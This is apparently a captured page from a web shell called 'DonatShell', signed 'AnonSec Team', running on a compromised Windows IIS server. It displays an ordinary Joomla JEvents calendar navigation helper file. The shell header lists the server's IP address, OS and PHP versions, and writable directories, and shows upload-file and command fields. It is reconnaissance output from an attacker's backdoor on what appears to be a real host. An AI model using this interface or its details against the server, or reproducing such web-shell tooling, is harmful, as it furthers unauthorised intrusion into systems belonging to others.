DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_jevents/views/default/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_jevents/views/default/helpers/defaultviewhelpershownavtablebar.php
<?php 
defined('_JEXEC') or die('Restricted access');

function DefaultViewHelperShowNavTableBar($view){
	// this, previous and next date handling
	global $mainframe;

	$cfg = & JEVConfig::getInstance();

	$t_datenow = JEVHelper::getNow();
	$datetime = strftime( '%Y-%m-%d %H:%M:%S', $t_datenow->toUnix(true));
	ereg( "([0-9]{4})-([0-9]{2})-([0-9]{2})[ ]([0-9]{2}):([0-9]{2}):([0-9]{2})", $datetime, $regs );

	$this_date = new JEventDate();
	$this_date->setDate( $view->year, $view->month, $view->day );

	$today_date = clone($this_date);
	$today_date->setDate( $regs[1], $regs[2], $regs[3] );

	$prev_year = clone($this_date);
	$prev_year->addMonths( -12 );
	$next_year = clone($this_date);
	$next_year->addMonths( +12 );

	$prev_month = clone($this_date);
	$prev_month->addMonths( -1 );
	$next_month = clone($this_date);
	$next_month->addMonths( +1 );

	$prev_week = clone($this_date);
	$prev_week->addDays( -7 );
	$next_week = clone($this_date);
	$next_week->addDays( +7 );

	$prev_day = clone($this_date);
	$prev_day->addDays( -1 );
	$next_day = clone($this_date);
	$next_day->addDays( +1 );

	$task = JRequest::getString("jevtask");
	switch( $task ){
		case 'year.listevents':
			$dates['prev2'] = $prev_year;
			$dates['prev1'] = $prev_year;
			$dates['next1'] = $next_year;
			$dates['next2'] = $next_year;

			$alts['prev2'] = JText::_('JEV_PREVIOUSYEAR');
			$alts['prev1'] = JText::_('JEV_PREVIOUSYEAR');
			$alts['next1'] = JText::_('JEV_NEXTYEAR');
			$alts['next2'] = JText::_('JEV_NEXTYEAR');

			// Show
			if($cfg->get('com_calUseIconic', 1) == 1) $view->viewNavTableBarIconic( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			else  $view->viewNavTableBar( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			break;

		case 'month.calendar':
			$dates['prev2'] = $prev_year;
			$dates['prev1'] = $prev_month;
			$dates['next1'] = $next_month;
			$dates['next2'] = $next_year;

			$alts['prev2'] = JText::_('JEV_PREVIOUSYEAR');
			$alts['prev1'] = JText::_('JEV_PREVIOUSMONTH');
			$alts['next1'] = JText::_('JEV_NEXTMONTH');
			$alts['next2'] = JText::_('JEV_NEXTYEAR');

			// Show
			if($cfg->get('com_calUseIconic', 1) == 1) $view->viewNavTableBarIconic( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			else  $view->viewNavTableBar( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			break;

		case 'week.listevents':
			$dates['prev2'] = $prev_month;
			$dates['prev1'] = $prev_week;
			$dates['next1'] = $next_week;
			$dates['next2'] = $next_month;

			$alts['prev2'] = JText::_('JEV_PREVIOUSMONTH');
			$alts['prev1'] = JText::_('JEV_PREVIOUSWEEK');
			$alts['next1'] = JText::_('JEV_NEXTWEEK');
			$alts['next2'] = JText::_('JEV_NEXTMONTH');

			// Show
			if($cfg->get('com_calUseIconic', 1) == 1) $view->viewNavTableBarIconic( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			else $view->viewNavTableBar( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, $task, $view->Itemid );
			break;

		case 'day.listevents':
		default:
			$dates['prev2'] = $prev_month;
			$dates['prev1'] = $prev_day;
			$dates['next1'] = $next_day;
			$dates['next2'] = $next_month;

			$alts['prev2'] = JText::_('JEV_PREVIOUSMONTH');
			$alts['prev1'] = JText::_('JEV_PREVIOUSDAY');
			$alts['next1'] = JText::_('JEV_NEXTDAY');
			$alts['next2'] = JText::_('JEV_NEXTMONTH');

			// Show
			if($cfg->get('com_calUseIconic', 1) == 1) $view->viewNavTableBarIconic( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, "day.listevents", $view->Itemid );
			else $view->viewNavTableBar( $today_date, $this_date, $dates, $alts, JEV_COM_COMPONENT, "day.listevents", $view->Itemid );
			break;
	}
}


Anon7 - 2022
AnonSec Team